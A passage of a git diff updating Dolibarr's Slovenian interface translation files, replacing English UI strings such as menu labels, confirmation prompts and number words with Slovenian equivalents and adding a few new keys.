Kb, PHP omejitev: %s Kb -ThisLimitIsDefinedInSetupAt=Dolibarr limit (Menu %s): %s Kb, PHP limit (Param %s): %s Kb -NoFileFound=No documents uploaded +ThisLimitIsDefinedInSetupAt=Omejitev Dolibarr (Meni %s): %s Kb, omejitev PHP (Param %s): %s Kb +NoFileFound=Ni naloženih dokumentov CurrentUserLanguage=Trenutni jezik CurrentTheme=Trenutna tema CurrentMenuManager=Trenutni upravljalnik menija Browser=Iskalnik -Layout=Layout -Screen=Screen +Layout=Postavitev +Screen=zaslon DisabledModules=Onemogočeni moduli For=Za ForCustomer=Za kupca Signature=Podpis -DateOfSignature=Date of signature +DateOfSignature=Datum podpisa HidePassword=Prikaži komande s skritim geslom UnHidePassword=Prikaži resnične komande z vidnim geslom Root=Koren -RootOfMedias=Root of public medias (/medias) +RootOfMedias=Koren javnih medijev (/medias) Informations=Informacija Page=Stran Notes=Opombe AddNewLine=Dodaj novo vrstico AddFile=Dodaj datoteko -FreeZone=Free-text product -FreeLineOfType=Free-text item, type: +FreeZone=Izdelek s prostim besedilom +FreeLineOfType=Element poljubnega besedila, tip: CloneMainAttributes=Kloniraj objekt z osnovnimi atributi -ReGeneratePDF=Re-generate PDF +ReGeneratePDF=Znova ustvari PDF PDFMerge=Spoji PDF Merge=Spoji -DocumentModelStandardPDF=Standard PDF template +DocumentModelStandardPDF=Standardna predloga PDF PrintContentArea=Prikaži stran za izpis področja z osnovno vsebino MenuManager=Upravljalnik menija -WarningYouAreInMaintenanceMode=Warning, you are in maintenance mode: only login %s is allowed to use the application in this mode. +WarningYouAreInMaintenanceMode=Opozorilo, ste v vzdrževalnem načinu: za uporabo aplikacije v tem načinu je dovoljena samo prijava %s . CoreErrorTitle=Sistemska napaka -CoreErrorMessage=Sorry, an error occurred. Contact your system administrator to check the logs or disable $dolibarr_main_prod=1 to get more information. +CoreErrorMessage=Žal je prišlo do napake. Za več informacij se obrnite na skrbnika sistema, da preveri dnevnike ali onemogočite $dolibarr_main_prod=1. CreditCard=Kreditna kartica ValidatePayment=Potrdi plačilo -CreditOrDebitCard=Credit or debit card +CreditOrDebitCard=Kreditna ali debetna kartica FieldsWithAreMandatory=Polja z %s so obvezna -FieldsWithIsForPublic=Fields with %s are shown in public list of members. If you don't want this, uncheck the "public" box. -AccordingToGeoIPDatabase=(according to GeoIP conversion) +FieldsWithIsForPublic=Polja z %s so prikazana na javnem seznamu članov. Če tega ne želite, počistite polje »javno«. +AccordingToGeoIPDatabase=(glede na pretvorbo GeoIP) Line=Vrstica NotSupported=Ni podprto RequiredField=Zahtevano polje Result=Rezultat ToTest=Test -ValidateBefore=Item must be validated before using this feature +ValidateBefore=Pred uporabo te funkcije je treba izdelek potrditi Visibility=Vidnost -Totalizable=Totalizable -TotalizableDesc=This field is totalizable in list +Totalizable=Seštejemo +TotalizableDesc=To polje je mogoče sešteti na seznamu Private=Privatno Hidden=Skrito Resources=Viri @@ -796,25 +810,26 @@ NewAttribute=Nov atribut AttributeCode=Koda atributa URLPhoto=Url za fotografijo/logotip SetLinkToAnotherThirdParty=Povezava na drugega partnerja -LinkTo=Link to -LinkToProposal=Link to proposal +LinkTo=Povezava do +LinkToProposal=Povezava do predloga +LinkToExpedition= Povezava do ekspedicije LinkToOrder=Povezava do naročila -LinkToInvoice=Link to invoice -LinkToTemplateInvoice=Link to template invoice -LinkToSupplierOrder=Link to purchase order -LinkToSupplierProposal=Link to vendor proposal -LinkToSupplierInvoice=Link to vendor invoice -LinkToContract=Link to contract -LinkToIntervention=Link to intervention -LinkToTicket=Link to ticket -LinkToMo=Link to Mo +LinkToInvoice=Povezava do računa +LinkToTemplateInvoice=Povezava do predloge računa +LinkToSupplierOrder=Povezava do naročilnice +LinkToSupplierProposal=Povezava do ponudbe ponudnika +LinkToSupplierInvoice=Povezava do prejetih računov +LinkToContract=Povezava do pogodbe +LinkToIntervention=Povezava do intervencije +LinkToTicket=Povezava do vstopnice +LinkToMo=Povezava do Mo CreateDraft=Ustvarite osnutek SetToDraft=Nazaj na osnutek ClickToEdit=Kliknite za urejanje -ClickToRefresh=Click to refresh -EditWithEditor=Edit with CKEditor -EditWithTextEditor=Edit with Text editor -EditHTMLSource=Edit HTML Source +ClickToRefresh=Kliknite za osvežitev +EditWithEditor=Uredite s CKEditorjem +EditWithTextEditor=Urejanje z urejevalnikom besedila +EditHTMLSource=Uredi izvor HTML ObjectDeleted=Predmet %s črta ByCountry=Po državah ByTown=Z mesta @@ -826,130 +841,134 @@ ByDay=Po dnevih BySalesRepresentative=Z prodajni predstavnik LinkedToSpecificUsers=Povezano z določenim kontaktom uporabnika NoResults=Ni rezultata -AdminTools=Admin Tools +AdminTools=Skrbniška orodja SystemTools=Sistemska orodja ModulesSystemTools=Orodja za module Test=Test Element=Element NoPhotoYet=Slik še ni na voljo -Dashboard=Dashboard -MyDashboard=My Dashboard +Dashboard=Nadzorna plošča +MyDashboard=Nadzorna plošča Deductible=Odbiten from=od toward=proti Access=Dostop SelectAction=Izberi akcijo -SelectTargetUser=Select target user/employee +SelectTargetUser=Izberite ciljnega uporabnika/zaposlenega HelpCopyToClipboard=Uporabi Ctrl+C za kopiranje na odložišče SaveUploadedFileWithMask=Shrani datoteko na strežnik z imenom "%s" (otherwise "%s") OriginFileName=Originalno ime datoteke SetDemandReason=Nastavi vir SetBankAccount=Določi bančni račun -AccountCurrency=Account currency +AccountCurrency=Valuta računa ViewPrivateNote=Glej opombe XMoreLines=%s zasenčena(ih) vrstic -ShowMoreLines=Show more/less lines +ShowMoreLines=Prikaži več/manj vrstic PublicUrl=Javni URL AddBox=Dodaj okvir -SelectElementAndClick=Select an element and click on %s +SelectElementAndClick=Izberite element in kliknite %s PrintFile=Natisni datoteko %s -ShowTransaction=Show entry on bank account +ShowTransaction=Pokaži vnos na bančnem računu ShowIntervention=Prikaži intervencijo ShowContract=Prikaži pogodbo -GoIntoSetupToChangeLogo=Go to Home - Setup - Company to change logo or go to Home - Setup - Display to hide. +GoIntoSetupToChangeLogo=Pojdite na Domov - Nastavitve - Podjetje, da spremenite logotip, ali pojdite na Domov - Nastavitve - Zaslon, da ga skrijete. Deny=Zavrni Denied=Zavrnjen -ListOf=List of %s +ListOf=Seznam %s ListOfTemplates=Seznam predlog Gender=Spol -Genderman=Male -Genderwoman=Female +Genderman=moški +Genderwoman=ženska Genderother=Ostalo ViewList=Glej seznam -ViewGantt=Gantt view -ViewKanban=Kanban view +ViewGantt=Ganttov pogled +ViewKanban=Kanban pogled Mandatory=Obvezno Hello=Pozdravljeni -GoodBye=GoodBye +GoodBye=Adijo Sincerely=S spoštovanjem -ConfirmDeleteObject=Are you sure you want to delete this object? +ConfirmDeleteObject=Ali ste prepričani, da želite izbrisati ta predmet? DeleteLine=Izbriši vrstico -ConfirmDeleteLine=Are you sure you want to delete this line? -ErrorPDFTkOutputFileNotFound=Error: the file was not generated. Please check that the 'pdftk' command is installed in a directory included in the $PATH environment variable (linux/unix only) or contact your system administrator. -NoPDFAvailableForDocGenAmongChecked=No PDF were available for the document generation among checked record -TooManyRecordForMassAction=Too many records selected for mass action. The action is restricted to a list of %s records. -NoRecordSelected=No record selected -MassFilesArea=Area for files built by mass actions -ShowTempMassFilesArea=Show area of files built by mass actions -ConfirmMassDeletion=Bulk Delete confirmation -ConfirmMassDeletionQuestion=Are you sure you want to delete the %s selected record(s)? -RelatedObjects=Related Objects +ConfirmDeleteLine=Ali ste prepričani, da želite izbrisati to vrstico? +ErrorPDFTkOutputFileNotFound=Napaka: datoteka ni bila ustvarjena. Preverite, ali je ukaz 'pdftk' nameščen v imeniku, vključenem v spremenljivko okolja $PATH (samo za linux/unix), ali se obrnite na skrbnika sistema. +NoPDFAvailableForDocGenAmongChecked=Med preverjenimi zapisi ni bil na voljo noben PDF za ustvarjanje dokumenta +TooManyRecordForMassAction=Za množično akcijo je izbranih preveč zapisov. Dejanje je omejeno na seznam zapisov %s. +NoRecordSelected=Izbran ni noben zapis +MassFilesArea=Območje za datoteke, zgrajene z množičnimi akcijami +ShowTempMassFilesArea=Pokaži območje datotek, ustvarjenih z množičnimi dejanji +ConfirmMassDeletion=Potrditev množičnega brisanja +ConfirmMassDeletionQuestion=Ali ste prepričani, da želite izbrisati izbrane zapise %s? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s +RelatedObjects=Sorodni predmeti ClassifyBilled=Klasificiraj kot fakturirano -ClassifyUnbilled=Classify unbilled +ClassifyUnbilled=Razvrsti neobračunano Progress=Napredek ProgressShort=Progr. -FrontOffice=Front office +FrontOffice=Prednja pisarna BackOffice=Administracija -Submit=Submit -View=View +Submit=Predloži +View=Pogled Export=Izvoz Exports=Izvoz -ExportFilteredList=Export filtered list -ExportList=Export list +ExportFilteredList=Izvoz filtriranega seznama +ExportList=Izvozni seznam ExportOptions=Izvozne opcije -IncludeDocsAlreadyExported=Include docs already exported -ExportOfPiecesAlreadyExportedIsEnable=Export of pieces already exported is enable -ExportOfPiecesAlreadyExportedIsDisable=Export of pieces already exported is disable -AllExportedMovementsWereRecordedAsExported=All exported movements were recorded as exported -NotAllExportedMovementsCouldBeRecordedAsExported=Not all exported movements could be recorded as exported +IncludeDocsAlreadyExported=Vključi že izvožene dokumente +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported +AllExportedMovementsWereRecordedAsExported=Vsi izvoženi premiki so bili zabeleženi kot izvoženi +NotAllExportedMovementsCouldBeRecordedAsExported=Vseh izvoženih gibanj ni bilo mogoče zabeležiti kot izvožene Miscellaneous=Razno Calendar=Koledar -GroupBy=Group by... -ViewFlatList=View flat list -ViewAccountList=View ledger -ViewSubAccountList=View subaccount ledger -RemoveString=Remove string '%s' -SomeTranslationAreUncomplete=Some of the languages offered may be only partially translated or may contain errors. Please help to correct your language by registering at https://transifex.com/projects/p/dolibarr/ to add your improvements. -DirectDownloadLink=Public download link -PublicDownloadLinkDesc=Only the link is required to download the file -DirectDownloadInternalLink=Private download link -PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file -Download=Download -DownloadDocument=Download document -ActualizeCurrency=Update currency rate +GroupBy=Združi po ... +ViewFlatList=Ogled ploščatega seznama +ViewAccountList=Ogled glavne knjige +ViewSubAccountList=Oglejte si knjigo podračunov +RemoveString=Odstrani niz '%s' +SomeTranslationAreUncomplete=Nekateri ponujeni jeziki so morda le delno prevedeni ali pa vsebujejo napake. Pomagajte popraviti svoj jezik tako, da se registrirate na https://transifex.com/projects/p/dolibarr/ in dodate svoje izboljšave. +DirectDownloadLink=Javna povezava za prenos +PublicDownloadLinkDesc=Za prenos datoteke je potrebna le povezava +DirectDownloadInternalLink=Zasebna povezava za prenos +PrivateDownloadLinkDesc=Za ogled ali prenos datoteke morate biti prijavljeni in potrebujete dovoljenja +Download=Prenesi +DownloadDocument=Prenesi dokument +DownloadSignedDocument=Prenesite podpisani dokument +ActualizeCurrency=Posodobi tečaj valute Fiscalyear=Fiskalno leto -ModuleBuilder=Module and Application Builder -SetMultiCurrencyCode=Set currency -BulkActions=Bulk actions -ClickToShowHelp=Click to show tooltip help -WebSite=Website -WebSites=Websites -WebSiteAccounts=Website accounts -ExpenseReport=Expense report +ModuleBuilder=Graditelj modulov in aplikacij +SetMultiCurrencyCode=Nastavite valuto +BulkActions=Množična dejanja +ClickToShowHelp=Kliknite za prikaz pomoči za orodne namige +WebSite=Spletna stran +WebSites=Spletne strani +WebSiteAccounts=Računi spletnih mest +ExpenseReport=Poročilo o izdatkih ExpenseReports=Stroškovna poročila HR=HR -HRAndBank=HR and Bank -AutomaticallyCalculated=Automatically calculated -TitleSetToDraft=Go back to draft -ConfirmSetToDraft=Are you sure you want to go back to Draft status? -ImportId=Import id +HRAndBank=HR in banka +AutomaticallyCalculated=Samodejno izračunano +TitleSetToDraft=Nazaj na osnutek +ConfirmSetToDraft=Ali ste prepričani, da se želite vrniti na stanje osnutka? +ImportId=ID uvoza Events=Dogodki -EMailTemplates=Email templates -FileNotShared=File not shared to external public +EMailTemplates=E-poštne predloge +FileNotShared=Datoteka ni v skupni rabi zunanji javnosti Project=Projekt Projects=Projekti -LeadOrProject=Lead | Project -LeadsOrProjects=Leads | Projects -Lead=Lead -Leads=Leads -ListOpenLeads=List open leads -ListOpenProjects=List open projects -NewLeadOrProject=New lead or project +LeadOrProject=Svinec | Projekt +LeadsOrProjects=Vodi | Projekti +Lead=Svinec +Leads=vodi +ListOpenLeads=Seznam odprtih potencialnih strank +ListOpenProjects=Seznam odprtih projektov +NewLeadOrProject=Nova potencialna stranka ali projekt Rights=Dovoljenja -LineNb=Line no. +LineNb=Linija št. IncotermLabel=Mednarodni Poslovni Izrazi -TabLetteringCustomer=Customer lettering -TabLetteringSupplier=Vendor lettering +TabLetteringCustomer=Napis strank +TabLetteringSupplier=Napis prodajalca Monday=Ponedeljek Tuesday=Torek Wednesday=Sreda @@ -978,47 +997,47 @@ ShortThursday=Č ShortFriday=P ShortSaturday=S ShortSunday=N -one=one -two=two -three=three -four=four -five=five -six=six -seven=seven -eight=eight -nine=nine -ten=ten -eleven=eleven -twelve=twelve +one=eno +two=dva +three=tri +four=štiri +five=pet +six=šest +seven=sedem +eight=osem +nine=devet +ten=deset +eleven=enajst +twelve=dvanajst thirteen=thirdteen -fourteen=fourteen -fifteen=fifteen -sixteen=sixteen -seventeen=seventeen -eighteen=eighteen -nineteen=nineteen -twenty=twenty -thirty=thirty -forty=forty -fifty=fifty -sixty=sixty -seventy=seventy -eighty=eighty -ninety=ninety -hundred=hundred -thousand=thousand -million=million -billion=billion -trillion=trillion -quadrillion=quadrillion -SelectMailModel=Select an email template +fourteen=štirinajst +fifteen=petnajst +sixteen=šestnajst +seventeen=sedemnajst +eighteen=osemnajst +nineteen=devetnajst +twenty=dvajset +thirty=trideset +forty=štirideset +fifty=petdeset +sixty=šestdeset +seventy=sedemdeset +eighty=osemdeset +ninety=devetdeset +hundred=sto +thousand=tisoč +million=milijonov +billion=milijarde +trillion=bilijon +quadrillion=kvadrilijon +SelectMailModel=Izberite e-poštno predlogo SetRef=Nastavi referenco -Select2ResultFoundUseArrows=Some results found. Use arrows to select. +Select2ResultFoundUseArrows=Najdenih nekaj rezultatov. Za izbiro uporabite puščice. Select2NotFound=Ni najdenega rezultata Select2Enter=Potrdi -Select2MoreCharacter=or more character +Select2MoreCharacter=ali več značaja Select2MoreCharacters=ali več znakov -Select2MoreCharactersMore=Search syntax:
      | OR (a|b)
      * Any character (a*b)
      ^ Start with (^ab)
      $ End with (ab$)
      +Select2MoreCharactersMore= Sintaksa iskanja:
      | OR (a|b)
      * Any character (a*b)
      ^ Start with (^ab)
      $ End with ( ab$)
      Select2LoadingMoreResults=Naloži več rezultatov... Select2SearchInProgress=Iskanje v teku... SearchIntoThirdparties=Partnerji @@ -1026,141 +1045,180 @@ SearchIntoContacts=Kontakti SearchIntoMembers=Člani SearchIntoUsers=Uporabniki SearchIntoProductsOrServices=Proizvodi ali storitve -SearchIntoBatch=Lots / Serials +SearchIntoBatch=Loti / Serijske publikacije SearchIntoProjects=Projekti -SearchIntoMO=Manufacturing Orders +SearchIntoMO=Naročila za proizvodnjo SearchIntoTasks=Naloge SearchIntoCustomerInvoices=Računi za kupca -SearchIntoSupplierInvoices=Fakture dobaviteljev -SearchIntoCustomerOrders=Sales orders +SearchIntoSupplierInvoices=Prejeti računi +SearchIntoCustomerOrders=Prodajna naročila SearchIntoSupplierOrders=Nabavni nalogi SearchIntoCustomerProposals=Komercialne ponudbe -SearchIntoSupplierProposals=Vendor proposals +SearchIntoSupplierProposals=Ponudbe dobaviteljev SearchIntoInterventions=Intervencije SearchIntoContracts=Pogodbe -SearchIntoCustomerShipments=Customer shipments +SearchIntoCustomerShipments=Pošiljke strank SearchIntoExpenseReports=Stroškovna poročila -SearchIntoLeaves=Leave -SearchIntoTickets=Tickets -SearchIntoCustomerPayments=Customer payments +SearchIntoLeaves=Pusti +SearchIntoKM=Baza znanja +SearchIntoTickets=Vstopnice +SearchIntoCustomerPayments=Plačila strank SearchIntoVendorPayments=Plačila dobaviteljem -SearchIntoMiscPayments=Miscellaneous payments +SearchIntoMiscPayments=Razna plačila CommentLink=Komentarji -NbComments=Number of comments -CommentPage=Comments space -CommentAdded=Comment added -CommentDeleted=Comment deleted +NbComments=Število komentarjev +CommentPage=Prostor za komentarje +CommentAdded=Komentar dodan +CommentDeleted=Komentar izbrisan Everybody=Projekti v skupni rabi -PayedBy=Paid by -PayedTo=Paid to -Monthly=Monthly -Quarterly=Quarterly -Annual=Annual -Local=Local -Remote=Remote -LocalAndRemote=Local and Remote -KeyboardShortcut=Keyboard shortcut +PayedBy=Plačano s strani +PayedTo=Plačano +Monthly=Mesečno +Quarterly=Četrtletnik +Annual=Letna +Local=Lokalno +Remote=Daljinsko +LocalAndRemote=Lokalno in oddaljeno +KeyboardShortcut=Bližnjica na tipkovnici AssignedTo=Se nanaša na -Deletedraft=Delete draft -ConfirmMassDraftDeletion=Draft mass delete confirmation -FileSharedViaALink=File shared with a public link -SelectAThirdPartyFirst=Select a third party first... -YouAreCurrentlyInSandboxMode=You are currently in the %s "sandbox" mode -Inventory=Inventory -AnalyticCode=Analytic code +Deletedraft=Izbriši osnutek +ConfirmMassDraftDeletion=Potrditev množičnega izbrisa osnutka +FileSharedViaALink=Datoteka v skupni rabi z javno povezavo +SelectAThirdPartyFirst=Najprej izberite partnerja ... +YouAreCurrentlyInSandboxMode=Trenutno ste v %s načinu "peskovnika". +Inventory=Inventar +AnalyticCode=Analitična koda TMenuMRP=MRP -ShowCompanyInfos=Show company infos -ShowMoreInfos=Show More Infos -NoFilesUploadedYet=Please upload a document first -SeePrivateNote=See private note -PaymentInformation=Payment information -ValidFrom=Valid from -ValidUntil=Valid until -NoRecordedUsers=No users -ToClose=To close -ToRefuse=To refuse +ShowCompanyInfos=Pokaži podatke o podjetju +ShowMoreInfos=Prikaži več informacij +NoFilesUploadedYet=Najprej naložite dokument +SeePrivateNote=Glej zasebno opombo +PaymentInformation=Informacije o plačilu +ValidFrom=Velja od +ValidUntil=Veljavno do +NoRecordedUsers=Ni uporabnikov +ToClose=Zapreti +ToRefuse=Zavrniti ToProcess=Za obdelavo -ToApprove=To approve -GlobalOpenedElemView=Global view -NoArticlesFoundForTheKeyword=No article found for the keyword '%s' -NoArticlesFoundForTheCategory=No article found for the category -ToAcceptRefuse=To accept | refuse +ToApprove=Odobriti +GlobalOpenedElemView=Globalni pogled +NoArticlesFoundForTheKeyword=Za ključno besedo ' %s ' ni bilo mogoče najti nobenega članka. +NoArticlesFoundForTheCategory=Za to kategorijo ni bil najden članek +ToAcceptRefuse=Sprejeti | zavrniti ContactDefault_agenda=Aktivnost ContactDefault_commande=Naročilo ContactDefault_contrat=Pogodba ContactDefault_facture=Račun ContactDefault_fichinter=Intervencija -ContactDefault_invoice_supplier=Supplier Invoice -ContactDefault_order_supplier=Purchase Order +ContactDefault_invoice_supplier=Račun dobavitelja +ContactDefault_order_supplier=Naročilnica ContactDefault_project=Projekt ContactDefault_project_task=Naloga ContactDefault_propal=Ponudba -ContactDefault_supplier_proposal=Supplier Proposal -ContactDefault_ticket=Ticket -ContactAddedAutomatically=Contact added from contact thirdparty roles -More=More -ShowDetails=Show details -CustomReports=Custom reports -StatisticsOn=Statistics on -SelectYourGraphOptionsFirst=Select your graph options to build a graph -Measures=Measures -XAxis=X-Axis -YAxis=Y-Axis -StatusOfRefMustBe=Status of %s must be %s -DeleteFileHeader=Confirm file delete -DeleteFileText=Do you really want delete this file? -ShowOtherLanguages=Show other languages -SwitchInEditModeToAddTranslation=Switch in edit mode to add translations for this language -NotUsedForThisCustomer=Not used for this customer -AmountMustBePositive=Amount must be positive -ByStatus=By status +ContactDefault_supplier_proposal=Ponudba dobavitelja +ContactDefault_ticket=Vstopnica +ContactAddedAutomatically=Stik je dodan iz kontaktnih vlog partnerjev +More=več +ShowDetails=Pokaži podrobnosti +CustomReports=Poročila po meri +StatisticsOn=Statistika naprej +SelectYourGraphOptionsFirst=Izberite možnosti grafa, da sestavite graf +Measures=Ukrepi +XAxis=X-os +YAxis=Y-os +StatusOfRefMustBe=Status %s mora biti %s +DeleteFileHeader=Potrdite brisanje datoteke +DeleteFileText=Ali res želite izbrisati to datoteko? +ShowOtherLanguages=Pokaži druge jezike +SwitchInEditModeToAddTranslation=Preklopite v način urejanja, da dodate prevode za ta jezik +NotUsedForThisCustomer=Ni uporabljeno za to stranko +NotUsedForThisVendor=Not used for this vendor +AmountMustBePositive=Znesek mora biti pozitiven +ByStatus=Po statusu InformationMessage=Informacija -Used=Used -ASAP=As Soon As Possible -CREATEInDolibarr=Record %s created -MODIFYInDolibarr=Record %s modified -DELETEInDolibarr=Record %s deleted -VALIDATEInDolibarr=Record %s validated -APPROVEDInDolibarr=Record %s approved -DefaultMailModel=Default Mail Model -PublicVendorName=Public name of vendor +Used=Rabljeno +ASAP=Čimprej +CREATEInDolibarr=Zapis %s ustvarjen +MODIFYInDolibarr=Zapis %s spremenjen +DELETEInDolibarr=Zapis %s izbrisan +VALIDATEInDolibarr=Zapis %s potrjen +APPROVEDInDolibarr=Zapis %s odobren +DefaultMailModel=Privzeti poštni model +PublicVendorName=Javno naziv DateOfBirth=Datum rojstva -SecurityTokenHasExpiredSoActionHasBeenCanceledPleaseRetry=Security token has expired, so action has been canceled. Please try again. -UpToDate=Up-to-date -OutOfDate=Out-of-date -EventReminder=Event Reminder -UpdateForAllLines=Update for all lines +SecurityTokenHasExpiredSoActionHasBeenCanceledPleaseRetry=Varnostni žeton je potekel, zato je bilo dejanje preklicano. Prosim poskusite ponovno. +UpToDate=Posodobljeno +OutOfDate=Zastarano +EventReminder=Opomnik dogodka +UpdateForAllLines=Posodobitev za vse linije OnHold=Ustavljeno -Civility=Civility -AffectTag=Affect Tag -CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? -CategTypeNotFound=No tag type found for type of records -CopiedToClipboard=Copied to clipboard -InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. -ConfirmCancel=Are you sure you want to cancel +Civility=Vljudnost +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +CreateExternalUser=Ustvari zunanjega uporabnika +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Paketna nastavitev nadzornika +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Ali ste prepričani, da želite nastaviti nadzornika za izbrane zapise %s? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? +CategTypeNotFound=Za vrsto zapisov ni bilo mogoče najti nobene vrste oznake +Rate=Stopnja +SupervisorNotFound=Nadzornik ne obstaja +CopiedToClipboard=Kopirano v odložišče +InformationOnLinkToContract=Ta znesek je samo skupek vseh vrstic pogodbe. Noben pojem časa se ne upošteva. +ConfirmCancel=Ali ste prepričani, da želite preklicati? EmailMsgID=Email MsgID -SetToEnabled=Set to enabled -SetToDisabled=Set to disabled -ConfirmMassEnabling=mass enabling confirmation -ConfirmMassEnablingQuestion=Are you sure you want to enable the %s selected record(s)? -ConfirmMassDisabling=mass disabling confirmation -ConfirmMassDisablingQuestion=Are you sure you want to disable the %s selected record(s)? -RecordsEnabled=%s record(s) enabled -RecordsDisabled=%s record(s) disabled -RecordEnabled=Record enabled -RecordDisabled=Record disabled -Forthcoming=Forthcoming -Currently=Currently -ConfirmMassLeaveApprovalQuestion=Are you sure you want to approve the %s selected record(s)? -ConfirmMassLeaveApproval=Mass leave approval confirmation -RecordAproved=Record approved -RecordsApproved=%s Record(s) approved -Properties=Properties -hasBeenValidated=%s has been validated +EmailDate=Datum elektronske pošte +SetToStatus=Set to status %s +SetToEnabled=Nastavite na omogočeno +SetToDisabled=Nastavite na onemogočeno +ConfirmMassEnabling=množično omogočanje potrditve +ConfirmMassEnablingQuestion=Ali ste prepričani, da želite omogočiti izbrane zapise %s? +ConfirmMassDisabling=potrditev množične onemogočitve +ConfirmMassDisablingQuestion=Ali ste prepričani, da želite onemogočiti %s izbrane zapise? +RecordsEnabled=%s zapisi so omogočeni +RecordsDisabled=%s zapisi so onemogočeni +RecordEnabled=Snemanje omogočeno +RecordDisabled=Zapis onemogočen +Forthcoming=Prihajajoče +Currently=Trenutno +ConfirmMassLeaveApprovalQuestion=Ali ste prepričani, da želite odobriti %s izbrane zapise? +ConfirmMassLeaveApproval=Potrditev odobritve množičnega dopusta +RecordAproved=Zapis odobren +RecordsApproved=%s Odobreni zapis(i). +Properties=Lastnosti +hasBeenValidated=%s je bil preverjen ClientTZ=Časovni pas klienta (uporabnika) -NotClosedYet=Not yet closed -ClearSignature=Reset signature -CanceledHidden=Canceled hidden -CanceledShown=Canceled shown +NotClosedYet=Še ni zaprto +ClearSignature=Ponastavi podpis +CanceledHidden=Preklicano skrito +CanceledShown=Prikazano preklicano +Terminate=Prekiniti +Terminated=Prekinjeno +AddLineOnPosition=Dodaj vrstico na položaj (na koncu, če je prazen) +ConfirmAllocateCommercial=Dodelitev potrditve prodajnega predstavnika +ConfirmAllocateCommercialQuestion=Ali ste prepričani, da želite dodeliti izbrane zapise %s? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Tvoje sporočilo +YourMessageHasBeenReceived=Vaše sporočilo je bilo prejeto. Odgovorili vam bomo ali vas kontaktirali v najkrajšem možnem času. +UrlToCheck=Url za preverjanje +Automation=Avtomatizacija +CreatedByEmailCollector=Ustvaril zbiralec e-pošte +CreatedByPublicPortal=Ustvarjeno iz javnega portala +UserAgent=Uporabniški agent +InternalUser=Interni uporabnik +ExternalUser=Zunanji uporabnik +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/sl_SI/margins.lang b/htdocs/langs/sl_SI/margins.lang index 8f47170233d..082632ae4a8 100644 --- a/htdocs/langs/sl_SI/margins.lang +++ b/htdocs/langs/sl_SI/margins.lang @@ -16,30 +16,30 @@ MarginDetails=Podatki o marži ProductMargins=Marže proizvoda CustomerMargins=Marže kupcev SalesRepresentativeMargins=Marža prodajnega predstavnika -ContactOfInvoice=Contact of invoice +ContactOfInvoice=Kontakt računa UserMargins=Marže uporabnikov ProductService=Proizvod ali storitev AllProducts=Vsi proizvodi in storitve ChooseProduct/Service=Izberi proizvod ali storitev -ForceBuyingPriceIfNull=Force buying/cost price to selling price if not defined -ForceBuyingPriceIfNullDetails=If buying/cost price not provided when we add a new line, and this option is "ON", the margin will be 0%% on the new line (buying/cost price = selling price). If this option is "OFF" (recommended), margin will be equal to the value suggested by default (and may be 100%% if no default value can be found). +ForceBuyingPriceIfNull=Vsili nakupno/stroškovno ceno na prodajno ceno, če ni definirana +ForceBuyingPriceIfNullDetails=Če nakupna/stroškovna cena ni podana, ko dodamo novo vrstico, in je ta možnost "ON", bo marža v novi vrstici 0%% (nakupna/stroščna cena = prodajna cena). Če je ta možnost »IZKLOPLJENA« (priporočeno), bo marža enaka privzeto predlagani vrednosti (in je lahko 100%%, če privzete vrednosti ni mogoče najti). MARGIN_METHODE_FOR_DISCOUNT=Metoda marž pri globalnih popustih UseDiscountAsProduct=Kot proizvod UseDiscountAsService=Kot storitev UseDiscountOnTotal=V delni vsoti MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Določa, če se globalni popust smatra kot proizvod, storitev, ali samo delna vsota pri izračunu marže. MARGIN_TYPE=Privzeto predlagana nabavna cena s stroški za izračun marže -MargeType1=Margin on Best vendor price +MargeType1=Marža na najugodnejšo ceno MargeType2=Marža na uravnoteženo povprečno ceno (WAP) -MargeType3=Margin on Cost Price -MarginTypeDesc=* Margin on best buying price = Selling price - Best vendor price defined on product card
      * Margin on Weighted Average Price (WAP) = Selling price - Product Weighted Average Price (WAP) or best vendor price if WAP not yet defined
      * Margin on Cost price = Selling price - Cost price defined on product card or WAP if cost price not defined, or best vendor price if WAP not yet defined +MargeType3=Marža na lastno ceno +MarginTypeDesc=* Marža na najboljšo nakupno ceno = Prodajna cena – Cena najboljšega prodajalca, določena na kartici izdelka
      * Marža na tehtano povprečno ceno (WAP) = Prodajna cena – Tehtana povprečna cena izdelka (WAP) ali cena najboljšega prodajalca, če WAP še ni določen
